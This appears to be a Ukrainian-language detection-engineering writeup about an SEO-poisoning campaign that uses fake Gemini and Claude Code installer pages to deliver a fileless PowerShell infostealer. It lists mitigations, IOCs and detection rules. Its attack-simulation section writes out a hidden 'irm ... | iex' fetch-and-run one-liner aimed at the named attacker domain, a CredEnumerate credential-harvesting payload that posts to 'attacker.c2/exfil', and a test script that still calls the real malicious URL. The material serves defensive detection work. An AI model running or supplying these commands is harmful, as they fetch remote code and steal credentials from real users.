Кампанія з отруєння SEO використовує приманки Gemini та Claude Code для доставки інфостілера
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Актори eCrime, що керуються фінансовою мотивацією, використовують SEO-поінг для просування фейкових доменів, які імітують інсталятори для AI помічників з кодом. Жертви, які копіюють і вставляють одну команду PowerShell з цих сторінок, активують безфайловий інфостілер, що виконується повністю в пам’яті. Шкідливе програмне забезпечення викрадає облікові дані, cookie-сесії, ключі VPN та конфіденційні файли перед передачею даних у зашифрованій формі на сервер командування та контролю. Кампанія спрямована на робочі станції розробників Windows і зливається з нормальною активністю, зловживаючи знайомі інструменти розробників.
Розслідування
Аналітики EclecticIQ відстежили шкідливу інфраструктуру до доменів .co.com , що забезпечують строки завантаження PowerShell через irm and iex. Скрипт першого ступеня запускає приховане вікно PowerShell із використанням Shell.Application.ShellExecute, потім завантажує додаткові типи C#, щоб зібрати облікові дані, системні дані та інші цінні дані. Експільтрація спостерігалася через HTTP і HTTPS на events.msft23.com and events.ms709.com з використанням конкретних URL-шляхів. Пасивний аналіз DNS зв’язав операцію з надійним хостинг-провайдером у Нідерландах і з ширшим кластером доменів з друкарськими помилками.
Пом’якшення
Захисникам слід виявляти і блокувати шаблон виконання irm | iex приховані вікна PowerShell і підозріле використання Add-Type , які включають виклики P/Invoke. Організації повинні застосовувати режим обмеженої мови PowerShell і використовувати AppLocker або WDAC для запобігання виконанню скриптів з інтернет-контенту. Обмеження доступу до запису в буфер обміну браузера та вимога швидкого завершення OAuth для облікових записів розробників може ще більше знизити вплив. Розробників також слід навчати уникати команд копіювання-вставки з недовірених веб-сайтів.
Відповідь
Команди безпеки повинні попереджати про процеси PowerShell, що запускаються з -WindowStyle Hidden або викликаються через Shell.Application.ShellExecute. Ці події слід корелювати з вихідними запитами HTTP до доменів, що відповідають *-setup.com or events.*.com, особливо коли з’являються шляхи /take, /process, або /validate . Якщо ця поведінка виявлена, ізолюйте уражену кінцеву точку, зберіть журнали PowerShell і проведіть судово-експертний збір даних браузера та сховищ облікових даних.
Потік атаки
Детекції
Завантаження або Вивантаження через Powershell (через командний рядок)
Перегляд
Підозрілі строки Powershell (через powershell)
Перегляд
Виклик підозрілих методів .NET з Powershell (через powershell)
Перегляд
IOC (HashSha256) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера Частина 2
Перегляд
IOC (HashSha256) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера Частина 1
Перегляд
IOC (SourceIP) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера
Перегляд
IOC (DestinationIP) для виявлення: SEO-кампанія використовується для імітації Gemini та Claude Code з метою доставки інфостілера
Перегляд
Виявлення шаблону маяка C2 із конкретними URI-шляхами [Підключення мережі Windows]
Перегляд
Безфайлове виконання Infostealer у Powershell [Windows Powershell]
Перегляд
Виконання симуляції
Передумова: Перевірка передпольоту телеметрії та базової лінії повинна бути успішною.
Обґрунтування: Цей розділ деталізує точне виконання техніки (TTP) супротивника, призначеної для активації правила виявлення. Команди і наратив ПОВИННІ безпосередньо відображати виявлені TTP і мають на меті генерувати точну телеметрію, очікувану логікою виявлення. Абстрактні або не пов’язані приклади призведуть до неправильної діагностики.
-
Опис атаки та команди:
Зловмисник компрометує обліковий запис з низьким рівнем привілеїв і запускає однолінійний скрипт PowerShell черезcmd.exe. Однолінійне використанняirm(Invoke‑RestMethod) для отримання зловмисного скрипту PowerShell зevents.msft23.com, передає його вiex(Invoke‑Expression) для виконання корисного навантаження повністю в пам’яті і приховує вікно PowerShell, щоб уникнути перегляду за плечем. Корисне навантаження потім завантажує тип .NET зAdd‑Typeдля виконання перерахування облікових записів за допомогоюCredEnumerateAPI, ексфільтрує зібрані дані через HTTPS. Усі етапи виконуються без запису файлів на диск, відповідаючи опису “безфайловий”.# Крок 1 – Запуск прихованого PowerShell powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"Завантажений
payload.ps1(виконується в пам’яті) містить:# Крок 2 – Завантаження типу .NET для перерахування облікових записів $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport(""advapi32.dll"", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type # Крок 3 – Запуск викачування облікових даних та ексфільтрація $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Зібрано $count облікових даних" Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $dataЦя послідовність генерує фрагменти командного рядка, яким відповідає правило Sigma:
powershell.exe -WindowStyle Hiddenirm events.msft23.com | iexAdd-Typeadvapi32.dll!CredEnumerate
-
Скрипт для регресійного тестування: Наступний скрипт відтворює точну поведінку на тестовій робочій станції. Запустіть його з підвищеного запиту PowerShell.
# Безфайлове моделювання PowerShell Infostealer – TC-20260525-A7Z3K # ------------------------------------------------------------ # Крок 1 – Виконання прихованого PowerShell, що завантажує і запускає корисне навантаження $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden # Імітований вміст payload.ps1 (розміщено локально для безпечного тестування) $payload = @' $type = @" using System; using System.Runtime.InteropServices; public class Cred { [DllImport("advapi32.dll", SetLastError=true)] public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); } "@ Add-Type $type $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr) $data = "Зібрано $count облікових даних" # Імітація ексфільтрації до безпечної кінцевої точки Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data '@ # Запис імітованого корисного навантаження до тимчасового розташування для тесту (імітація хостингу віддалено) $tempPath = "$env:TEMPpayload.ps1" Set-Content -Path $tempPath -Value $payload -Encoding UTF8 # Обслуговування корисного навантаження через простий локальний HTTP-лістенер (для демонстрації) $listener = [System.Net.HttpListener]::new() $listener.Prefixes.Add("http://+:8080/") $listener.Start() Write-Host "Обслуговування імітованого корисного навантаження на http://localhost:8080/payload.ps1" while ($listener.IsListening) { $context = $listener.GetContext() if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") { $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $context.Response.ContentLength64 = $bytes.Length $context.Response.OutputStream.Write($bytes,0,$bytes.Length) $context.Response.Close() } } # Примітка: Зупиніть слухача вручну після валідації. -
Команди очищення: Видаліть тимчасові файли і зупиніть HTTP-лістенер.
# Очищення після симуляції Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue # Зупиніть локальний HTTP-лістенсер (якщо ще працює) Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force